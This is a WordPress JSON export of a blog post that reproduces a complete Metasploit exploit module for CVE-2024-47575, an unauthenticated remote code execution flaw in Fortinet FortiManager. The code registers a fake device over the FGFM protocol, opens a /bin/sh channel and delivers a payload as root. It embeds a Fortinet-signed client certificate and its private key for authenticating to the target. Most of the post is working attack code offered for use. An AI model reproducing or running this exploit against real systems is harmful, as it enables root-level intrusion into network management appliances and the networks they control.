{"id":60588,"date":"2024-12-03T18:49:55","date_gmt":"2024-12-03T15:49:55","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/182936\/fortimanager_rce_cve_2024_47575.rb.txt"},"modified":"2024-12-03T18:49:55","modified_gmt":"2024-12-03T15:49:55","slug":"fortinet-fortimanager-unauthenticated-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/fortinet-fortimanager-unauthenticated-remote-code-execution\/","title":{"rendered":"Fortinet FortiManager Unauthenticated Remote Code Execution"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Exploit::Remote<br \/>Rank = ExcellentRanking<\/p>\n<p>include Msf::Exploit::Remote::Tcp<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Fortinet FortiManager Unauthenticated RCE&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module exploits a missing authentication vulnerability affecting FortiManager and FortiManager<br \/>Cloud devices to achieve unauthenticated RCE with root privileges.<\/p>\n<p>The vulnerable FortiManager versions are:<br \/>* 7.6.0<br \/>* 7.4.0 through 7.4.4<br \/>* 7.2.0 through 7.2.7<br \/>* 7.0.0 through 7.0.12<br \/>* 6.4.0 through 6.4.14<br \/>* 6.2.0 through 6.2.12<\/p>\n<p>The vulnerable FortiManager Cloud versions are:<br \/>* 7.4.1 through 7.4.4<br \/>* 7.2.1 through 7.2.7<br \/>* 7.0.1 through 7.0.12<br \/>* 6.4 (all versions).<br \/>},<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;sfewer-r7&#8217;, # MSF Exploit &amp; Rapid7 Analysis<br \/>],<br \/>&#8216;References&#8217; =&gt; [<br \/>[&#8216;CVE&#8217;, &#8216;2024-47575&#8217;],<br \/># AttackerKB Rapid7 Analysis.<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/attackerkb.com\/topics\/OFBGprmpIE\/cve-2024-47575\/rapid7-analysis&#8217;],<br \/># Bishop Fox details certificate requirements for connecting to the FGFM service.<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/bishopfox.com\/blog\/a-look-at-fortijump-cve-2024-47575&#8217;],<br \/># Vendor Advisory.<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/fortiguard.fortinet.com\/psirt\/FG-IR-24-423&#8217;]],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2024-10-23&#8217;,<br \/>&#8216;Platform&#8217; =&gt; %w[unix linux],<br \/>&#8216;Arch&#8217; =&gt; [ARCH_CMD],<br \/>&#8216;Privileged&#8217; =&gt; true, # Code execution as &#8216;root&#8217;<br \/>&#8216;DefaultOptions&#8217; =&gt; {<br \/>&#8216;RPORT&#8217; =&gt; 541,<br \/>&#8216;SSL&#8217; =&gt; true,<br \/>&#8216;FETCH_WRITABLE_DIR&#8217; =&gt; &#8216;\/tmp&#8217;<br \/>},<br \/>&#8216;Targets&#8217; =&gt; [ [ &#8216;Default&#8217;, {} ] ],<br \/>&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/>&#8216;Reliability&#8217; =&gt; [REPEATABLE_SESSION],<br \/>&#8216;SideEffects&#8217; =&gt; [IOC_IN_LOGS]}<br \/>)<br \/>)<\/p>\n<p>register_options(<br \/>[<br \/># The exploit provides a suitable client certificate\/key pair by default, however we can let a user configure<br \/># a different certificate\/key pair to use if they want. The user can also override the serial number and<br \/># platform if needed, but the exploit will try to detect the serial number and platform from the certificate<br \/># by default.<br \/>OptPath.new(&#8216;ClientCert&#8217;, [false, &#8216;A file path to an x509 cert, signed by Fortinet, with a serial number in the CN&#8217;]),<br \/>OptPath.new(&#8216;ClientKey&#8217;, [false, &#8216;A file path to the corresponding private key for the ClientCert.&#8217;]),<br \/>OptString.new(&#8216;ClientSerialNumber&#8217;, [false, &#8216;If set, use this serial number instead of extracting one from the ClientCert.&#8217;]),<br \/>OptString.new(&#8216;ClientPlatform&#8217;, [false, &#8216;If set, use this platform instead of determining the platform at runtime.&#8217;])<br \/>])<br \/>end<\/p>\n<p>def check<br \/>fgfm_sock = make_socket<\/p>\n<p>peer_cert = OpenSSL::X509::Certificate.new(fgfm_sock.peer_cert)<\/p>\n<p>fgfm_sock.close<\/p>\n<p>organization = get_cert_subject_item(peer_cert, &#8216;O&#8217;)<\/p>\n<p>common_name = get_cert_subject_item(peer_cert, &#8216;CN&#8217;)<\/p>\n<p># Detect that the target is a Fortinet FortiManager, by inspecting the certificate the server is using.<br \/># We look for an organization (O) of &#8216;Fortinet&#8217;, and a common name (CN) that starts with a FortiManager serial<br \/># number identifier.<br \/>return CheckCode::Detected(&#8216;Detected Fortinet FortiManager&#8217;) if organization == &#8216;Fortinet&#8217; &amp;&amp; common_name&amp;.start_with?(&#8216;FMG&#8217;)<\/p>\n<p>CheckCode::Unknown<br \/>end<\/p>\n<p>def exploit<br \/>client_cert_raw = datastore[&#8216;ClientCert&#8217;] ? File.binread(datastore[&#8216;ClientCert&#8217;]) : get_client_cert<\/p>\n<p>client_cert = OpenSSL::X509::Certificate.new(client_cert_raw)<\/p>\n<p>common_name = get_cert_subject_item(client_cert, &#8216;CN&#8217;)<\/p>\n<p>fail_with(Failure::BadConfig, &#8216;No common name in client certificate subject&#8217;) unless common_name<\/p>\n<p>print_status(&#8220;Client certificate common name: #{common_name}&#8221;)<\/p>\n<p>serial_number = &#8216;FMG-VM0000000000&#8217;<br \/>platform = &#8216;FortiManager-VM64&#8217;<\/p>\n<p># The platform needs to be the expected type of the corresponding serial number. We try to match these up here,<br \/># and we allow for the automatic detection to be overridden by the ClientSerialNumber and ClientPlatform options<br \/># in case it is needed.<br \/>if common_name.start_with? &#8216;FMG&#8217;<br \/>serial_number = common_name<br \/>platform = &#8216;FortiManager-VM64&#8217;<br \/>elsif common_name.start_with? &#8216;FG&#8217;<br \/>serial_number = common_name<br \/>platform = &#8216;FortiGate-VM64&#8217;<br \/>else<br \/>print_warning(&#8216;Client certificate does not include a serial number in the common name. The target must be configured to accept a certificate like this.&#8217;)<br \/>end<\/p>\n<p>serial_number = datastore[&#8216;ClientSerialNumber&#8217;] if datastore[&#8216;ClientSerialNumber&#8217;]\n<p>platform = datastore[&#8216;ClientPlatform&#8217;] if datastore[&#8216;ClientPlatform&#8217;]\n<p>print_status(&#8220;Using client serial number &#8216;#{serial_number}&#8217; and platform &#8216;#{platform}&#8217;.&#8221;)<\/p>\n<p>print_status(&#8216;Connecting&#8230;&#8217;)<\/p>\n<p>fgfm_sock = make_socket<\/p>\n<p>fail_with(Failure::UnexpectedReply, &#8216;Connection failed.&#8217;) unless fgfm_sock<\/p>\n<p>print_status(&#8216;Registering device&#8230;&#8217;)<\/p>\n<p>req1 = &#8220;get auth\\r\\nserialno=#{serial_number}\\r\\nplatform=#{platform}\\r\\nhostname=localhost\\r\\n\\r\\n\\x00&#8221;<\/p>\n<p>resp1 = send_packet(fgfm_sock, req1)<\/p>\n<p>unless resp1&amp;.include?(&#8216;reply 200&#8217;)<br \/>fail_with(Failure::UnexpectedReply, &#8216;Request 1 failed: No reply 200.&#8217;)<br \/>end<\/p>\n<p>print_status(&#8216;Creating channel&#8230;&#8217;)<\/p>\n<p>req2 = &#8220;get connect_tcp\\r\\ntcp_port=rsh\\r\\nchan_window_sz=#{32 * 1024}\\r\\nterminal=1\\r\\ncmd=\/bin\/sh\\r\\nlocalid=0\\r\\n\\r\\n\\x00&#8221;<\/p>\n<p>resp2 = send_packet(fgfm_sock, req2)<\/p>\n<p>unless resp2&amp;.include?(&#8216;action=ack&#8217;)<br \/>fail_with(Failure::UnexpectedReply, &#8216;Request 2 failed: No ack.&#8217;)<br \/>end<\/p>\n<p>localid = resp2.match(\/localid=(\\d+)\/)<br \/>unless localid<br \/>fail_with(Failure::UnexpectedReply, &#8216;Request 2 failed: No localid found.&#8217;)<br \/>end<\/p>\n<p>print_status(&#8216;Triggering&#8230;&#8217;)<\/p>\n<p>req3 = &#8220;channel\\r\\nremoteid=#{localid[1]}\\r\\n\\r\\n\\x00&#8221; + payload.encoded.length.to_s + &#8220;\\n&#8221; + payload.encoded + &#8220;0\\n&#8221;<\/p>\n<p>send_packet(fgfm_sock, req3, read: false)<br \/>end<\/p>\n<p># We create a TCP socket like this as we want to control how we specify the client certificate\/key pair, which may<br \/># either be a file path, or a blob of text.<br \/>def make_socket<br \/>hash = {<br \/>&#8216;Proto&#8217; =&gt; &#8216;tcp&#8217;,<br \/>&#8216;PeerHost&#8217; =&gt; datastore[&#8216;RHOST&#8217;],<br \/>&#8216;PeerPort&#8217; =&gt; datastore[&#8216;RPORT&#8217;],<br \/>&#8216;SSL&#8217; =&gt; true,<br \/>&#8216;SSLVerifyMode&#8217; =&gt; &#8216;NONE&#8217;,<br \/>&#8216;Context&#8217; =&gt;<br \/>{<br \/>&#8216;Msf&#8217; =&gt; framework,<br \/>&#8216;MsfExploit&#8217; =&gt; self<br \/>}<br \/>}<\/p>\n<p>hash[&#8216;SSLClientCert&#8217;] = datastore[&#8216;ClientCert&#8217;] if datastore[&#8216;ClientCert&#8217;]\n<p>hash[&#8216;SSLClientKey&#8217;] = datastore[&#8216;ClientKey&#8217;] if datastore[&#8216;ClientKey&#8217;]\n<p>params = Rex::Socket::Parameters.from_hash(hash)<\/p>\n<p>params.ssl_client_cert = get_client_cert unless datastore[&#8216;ClientCert&#8217;]\n<p>params.ssl_client_key = get_client_key unless datastore[&#8216;ClientKey&#8217;]\n<p>fgfm_sock = Rex::Socket::Tcp.create_param(params)<\/p>\n<p># Register our new socket, so that abort_sockets will close this socket after the payload handler<br \/># has caught the session (or until WfSDelay timesout). This avoids us having to introduce a separate timeout<br \/># in the exploit method, before we manually close the socket and then try to catch the session. We want to keep<br \/># the socket open until we have a session, as closing the socket too quickly can prevent the payload command<br \/># we transmit over the FGFM channel on this socket from executing.<br \/>add_socket(fgfm_sock)<\/p>\n<p>fgfm_sock<br \/>end<\/p>\n<p>def send_packet(fgfm_sock, data, read: true)<br \/>packet = [0x36E01100, data.length + 8].pack(&#8216;NN&#8217;)<\/p>\n<p>packet += data<\/p>\n<p>fgfm_sock.write(packet)<\/p>\n<p>return nil unless read<\/p>\n<p>header = fgfm_sock.read(8)<\/p>\n<p>unless header<br \/>print_error(&#8216;Failed to read an FGFM header&#8217;)<br \/>return nil<br \/>end<\/p>\n<p>magic, len = header.unpack(&#8216;NN&#8217;)<\/p>\n<p>unless magic == 0x36E01100<br \/>print_error(&#8216;Bad magic value in FGFM header&#8217;)<br \/>return nil<br \/>end<\/p>\n<p>unless len &gt;= 8<br \/>print_error(&#8216;Bad length value in FGFM header&#8217;)<br \/>return nil<br \/>end<\/p>\n<p>fgfm_sock.read(len &#8211; 8)<br \/>end<\/p>\n<p>def get_cert_subject_item(cert, type)<br \/>cert.subject.to_a.each do |item|<br \/>return item[1] if item[0] == type<br \/>end<br \/>nil<br \/>end<\/p>\n<p>=begin<br \/>An x509 certificate from an unregistered FortiManager trial VM, located at \/etc\/cert\/local\/ on the device, with a<br \/>serial number of FMG-VM0000000000 and a platform of FortiManager-VM64.<\/p>\n<p>$ sha1sum Fortinet_Local2.cer<br \/>9fad50dace25e68694e028f628282b1194ec58a1 Fortinet_Local2.cer<br \/>$ sha1sum Fortinet_Local2.key<br \/>d006e298df00450973e22c74726404d841db9874 Fortinet_Local2.key<br \/>$ openssl x509 -noout -text -in Fortinet_Local2.cer<br \/>Certificate:<br \/>Data:<br \/>Version: 3 (0x2)<br \/>Serial Number: 405822 (0x6313e)<br \/>Signature Algorithm: sha256WithRSAEncryption<br \/>Issuer: C = US, ST = California, L = Sunnyvale, O = Fortinet, OU = Certificate Authority, CN = support, emailAddress = support@fortinet.com<br \/>Validity<br \/>Not Before: Nov 10 21:14:26 2017 GMT<br \/>Not After : Jan 19 03:14:07 2038 GMT<br \/>Subject: C = US, ST = California, L = Sunnyvale, O = Fortinet, OU = FortiManager, CN = FMG-VM0000000000, emailAddress = support@fortinet.com<br \/>=end<br \/>def get_client_cert<br \/>&#8220;&#8212;&#8211;BEGIN CERTIFICATE&#8212;&#8211;<br \/>MIIDzDCCArSgAwIBAgIDBjE+MA0GCSqGSIb3DQEBCwUAMIGgMQswCQYDVQQGEwJV<br \/>UzETMBEGA1UECBMKQ2FsaWZvcm5pYTESMBAGA1UEBxMJU3Vubnl2YWxlMREwDwYD<br \/>VQQKEwhGb3J0aW5ldDEeMBwGA1UECxMVQ2VydGlmaWNhdGUgQXV0aG9yaXR5MRAw<br \/>DgYDVQQDEwdzdXBwb3J0MSMwIQYJKoZIhvcNAQkBFhRzdXBwb3J0QGZvcnRpbmV0<br \/>LmNvbTAeFw0xNzExMTAyMTE0MjZaFw0zODAxMTkwMzE0MDdaMIGgMQswCQYDVQQG<br \/>EwJVUzETMBEGA1UECBMKQ2FsaWZvcm5pYTESMBAGA1UEBxMJU3Vubnl2YWxlMREw<br \/>DwYDVQQKEwhGb3J0aW5ldDEVMBMGA1UECxMMRm9ydGlNYW5hZ2VyMRkwFwYDVQQD<br \/>ExBGTUctVk0wMDAwMDAwMDAwMSMwIQYJKoZIhvcNAQkBFhRzdXBwb3J0QGZvcnRp<br \/>bmV0LmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMcgGzRlTTeV<br \/>jIcE8D7z7Vnp6LKDcGE57VL4qs1fOxvTrK2j7vWbVMHSsOpf8taAAm55qmqeS\/\/w<br \/>oCJQq3t5mmq1M6MHm2nom6Q+dObcsfhieLrIFwp9X1Xt9YHKQd5qOR5PysrMhFKd<br \/>pwMJfmlzuWWcIUeilgecP6eq9GS50gu4m+0NK0d3LTsmWz1jLNC3k74fYwYDsaPn<br \/>hl\/tsxcqZWrYHUHJhH5ep8YAxE6Eo2JG67BXOI\/JbxrWPEh+zRLqA7ZrWeBPl0AE<br \/>IXTK+SIBJTW0dpnxEcG6wBQQxCp8jZ+RlaFpKjBdYucDVTDtkLabvetOrAn+mjcR<br \/>utg6NHlptSECAwEAAaMNMAswCQYDVR0TBAIwADANBgkqhkiG9w0BAQsFAAOCAQEA<br \/>l265IvoXNxpTJEWdYwYvjAFdaueBk349ApvriQmsPdAJmhFgF4U8l6PI\/kBPVYCg<br \/>zP0EA1zImHwLFkzlCVtMtzhuUY3h2ZIUEhYwX0xEf5Kay2XHicWAwugQ0k\/QDmiv<br \/>w7\/w7UTiwPaMLroEcjRbH8T4TLCXBdKsgXYW+t72CSA8MJDSug8o2yABom6XKlXl<br \/>35mD93BrFkbxhhAiCrrC63byX7XTuXTyrP1dO9Qi9aSPWrIbi2SV+SjTLhP0n1bd<br \/>ikVOHNNreyhQRlRjguPrW0P2Xqjbecgp98tdRyoOSr9sF5Qo5TKdvIwUFClFgsy+<br \/>7pactwTnQmwhvlLQ7Z\/dOg==<br \/>&#8212;&#8211;END CERTIFICATE&#8212;&#8211;&#8220;<br \/>end<\/p>\n<p>def get_client_key<br \/>&#8220;&#8212;&#8211;BEGIN PRIVATE KEY&#8212;&#8211;<br \/>MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDHIBs0ZU03lYyH<br \/>BPA+8+1Z6eiyg3BhOe1S+KrNXzsb06yto+71m1TB0rDqX\/LWgAJueapqnkv\/8KAi<br \/>UKt7eZpqtTOjB5tp6JukPnTm3LH4Yni6yBcKfV9V7fWBykHeajkeT8rKzIRSnacD<br \/>CX5pc7llnCFHopYHnD+nqvRkudILuJvtDStHdy07Jls9YyzQt5O+H2MGA7Gj54Zf<br \/>7bMXKmVq2B1ByYR+XqfGAMROhKNiRuuwVziPyW8a1jxIfs0S6gO2a1ngT5dABCF0<br \/>yvkiASU1tHaZ8RHBusAUEMQqfI2fkZWhaSowXWLnA1Uw7ZC2m73rTqwJ\/po3EbrY<br \/>OjR5abUhAgMBAAECggEAcIXaGa+tBN4DfUDzKf\/ZflfJ4SaZWLfNPne6vTc1RbJG<br \/>ABGFNVFDggu3YZo6ta+8sAUcogc11zl4pCuF286Jzgb7WQMxdZW2bgfFM7g+8adj<br \/>pdjv\/EOAniRL+b37nt3TzSc154fOtojUGclBoAF\/IMYroDlmIoLPDcZzOIAxC+GU<br \/>BCkCh\/a3AFnhkkym0IGx4i89ji+nxcY5vEqD4n4Q49gkebxjmTVBq7YEU2YwOsbT<br \/>0BO9jmYKE0wumetNpYJsR2qVI7dUmJMNdcEah\/A9ODqMM2BJUxovW8XgR9wOIXN2<br \/>3aWwmPeAtTnVhvBaHJL\/ItGOGjmdcM1pwChowCWj4QKBgQD5EMo2A9+qeziSt3Ve<br \/>nmD1o7zDyGAe0bGLN4rIou6I\/Zz8p7ckRYIAw2HhmsE2C2ZF8OS9GWmsu23tnTBl<br \/>DQTj1fSquw1cjLxUgwTkLUF7FTUBrxLstYSz1EJSzd8+V8mLI3bXriq8yFVK7z8y<br \/>jFBB3BqkqUcBjIWFAMDvWoyJtQKBgQDMq15o9bhWuR7rGTvzhDiZvDNemTHHdRWz<br \/>6cxb4d4TWsRsK73Bv1VFRg\/SpDTg88kV2X8wqt7yfR2qhcyiAAFJq9pflG\/rUSp6<br \/>KvNbcXW7ys+x33x+MkZtbSh8TJ3SP9IoppawB\/SP\/p2YxkdgjPF\/sllPEAkgHznW<br \/>Gwk5jxRxPQKBgQDQAKGfcqS8b6PTg7tVhddbzZ67sv\/zPRSVO5F\/9fJYHdWZe0eL<br \/>1zC3CnUYQHHTfLmw93lQI4UJaI5pvrjH65OF4w0t+IE0JaSyv6i6FsF01UUrXtbj<br \/>MMTemgm5tY0XN6FtvfRmM2IlvvjcV+njgSMVnYfytBxEwuJPLU3zlx9\/cQKBgQDB<br \/>2GEPugLAqI6fDoRYjNdqy\/Q\/WYrrJXrLrtkuAQvreuFkrj0IHuZtOQFNeNbYZC0E<br \/>871iY8PLGTMayaTZnnWZyBmIwzcJQhOgJ8PbzOc8WMdD6a6oe4d2ppdcutgTRP0Q<br \/>IU\/BI5e\/NeEfzFPYH0Wvs0Sg\/EgYU1rc7ThceqZa5QKBgQCf18PRZcm7hVbjOn9i<br \/>BFpFMaECkVcf6YotgQuUKf6uGgF+\/UOEl6rQXKcf1hYcSALViB6M9p5vd65FHq4e<br \/>oDzQRBEPL86xtNfQvbaIqKTalFDv4ht7DlF38BQx7MAlJQwuljj1hrQd9Ho+VFDu<br \/>Lh1BvSCTWFh0WIUxOrNlmlg1Uw==<br \/>&#8212;&#8211;END PRIVATE KEY&#8212;&#8211;&#8220;<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Exploit::RemoteRank = ExcellentRanking include Msf::Exploit::Remote::Tcp def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Fortinet FortiManager Unauthenticated RCE&#8217;,&#8216;Description&#8217; =&gt; %q{This module exploits a missing authentication vulnerability affecting FortiManager and FortiManagerCloud devices to achieve unauthenticated RCE with root privileges. The vulnerable FortiManager versions are:* 7.6.0* 7.4.0 through 7.4.4* &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-60588","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/60588","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=60588"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/60588\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=60588"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=60588"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=60588"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}